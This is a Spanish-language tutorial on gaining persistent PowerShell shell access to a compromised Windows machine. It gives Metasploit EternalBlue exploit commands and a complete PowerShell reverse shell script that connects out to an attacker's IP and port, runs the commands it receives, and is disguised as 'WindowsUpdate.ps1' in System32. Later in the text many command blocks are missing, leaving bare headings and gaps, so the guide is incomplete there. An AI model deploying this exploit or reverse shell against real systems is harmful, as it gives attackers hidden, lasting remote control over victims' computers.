Shell Persistente PowerShell

Intrusion a la maquina (Ejemplo)

Primero tendremos que comprometer una maquina windows, por ejemplo pongamos que es vulnerable al Eternal Blue, abriremos metasploit.

msfconsole -q

Una vez dentro ejecutamos los siguientes comandos para la intrusion:

use windows/smb/ms17_010_eternalblue
set RHOST <IP_VICTIM>
exploit

Una vez que estemos dentro, programaremos los scripts en nuestra maquina atacante...

Scripts para persistencia mediante PowerShell

Codigo WindowsUpdate.ps1 para hacernos la reverse shell desde windows:

while ($true) {
    try {
        # Intenta conectarse al puerto especificado
        $client = New-Object System.Net.Sockets.TcpClient("<IP>", <PORT>)
        $stream = $client.GetStream()
        $writer = New-Object System.IO.StreamWriter($stream)
        $writer.AutoFlush = $true
        $reader = New-Object System.IO.StreamReader($stream)

        # Escribe una línea indicando la conexión
        $writer.WriteLine("Conexión establecida desde $($env:COMPUTERNAME)")

        # Bucle de comandos
        while ($true) {
            # Espera un comando del cliente
            $writer.Write("shell> ")  # Indica que está listo para recibir un comando
            $cmd = $reader.ReadLine()
            
            if ($cmd -eq 'exit') {
                $writer.WriteLine("Cerrando conexión...")
                break
            }

            try {
                # Ejecuta el comando y captura la salida
                $output = Invoke-Expression $cmd 2>&1

                # Convierte la salida a cadena y envía de vuelta al cliente
                if ($output -is [System.Array]) {
                    $output = $output -join "`n"  # Unir elementos del array en líneas
                }
                
                # Envía la salida de vuelta al cliente
                if ($output) {
                    $writer.WriteLine($output)
                } else {
                    $writer.WriteLine("Comando ejecutado correctamente.")
                }
            }
            catch {
                # Manejo de errores
                $writer.WriteLine("Error: $_")
            }
        }

        # Cierra la conexión
        $client.Close()
    }
    catch {
        # Espera 5 segundos antes de volver a intentar si falla
        Start-Sleep -Seconds 5
    }
}

Cambiar <IP> y <PORT> por las necesidades de cada uno.

Despues crear Update.ps1 que sera el que ejecute en bucle el archivo WindowsUpdate.ps1:

Pasar scripts a la maquina victima mediante metasploit

Tendremos que pasar esos archivos a la maquina victima, en mi caso lo llevare a C:\Windows\System32 para que se quede bien camuflado.

Si estamos en metasploit con la maquina comprometida podremos subirlos de la siguiente forma:

Despues ejecutaremos shell, para obtener la shell de windows.

Pasar scripts a la maquina victima mediante terminal

Imaginemos que no estamos utilizando metasploit lo podremos hacer de esta otra forma...

Primero nos abriremos un servidor de python3.

En la maquina victima que habremos comprometido de windows con una shell normal, pondremos los sigueintes comandos:

Asi nos pasaremos los 2 archivos a la maquina victima.

Programar persistencia en la maquina victima

Despues en la maquina windows que tenemos comprometida, ejecutaremos el siguiente comando:

Info:

Con esto ya habriamos creado la tarea programada en windows, lo comprobaremos de la siguiente forma:

Info:

Despues probaremos a estar a la escucha en nuestra maquina atacante:

Y en la maquina victima ejecutaremos el siguiente codigo para saber que todo se carga correctamente:

Una vez comprobado, ya podremos reiniciar el equipo, hacer lo que queramos, hacerle Ctrl+C a la shell y volver a estar a la escucha para otra vez recuperarla, ya tendremos persistencia.

Escucha mediante terminal

Ahora podremos obtener la shell todas las veces que queramos por que se estara ejecutando cada 5 segundos, por lo que solo tendremos que poner el siguiente comando:

Y todas las veces que pongamos eso nos hara una shell cada 5 segundos, aunque reinicie el sistema y vuelva a ejecutarse windows podremos seguir obteniendola.

Info:

Escucha mediante metasploit

Tambien lo podemos hacer mediante metasploit.

Una vez dentro ejecutaremos los siguiente comandos:

Y con esto obtendremos una shell mediante metasploit.

Eliminar la tarea persistente y los scripts

Pondremos los siguientes comandos dentro de la maquina windows:

Y con esto ya habriamos dejado limpio el sistema.

Last updated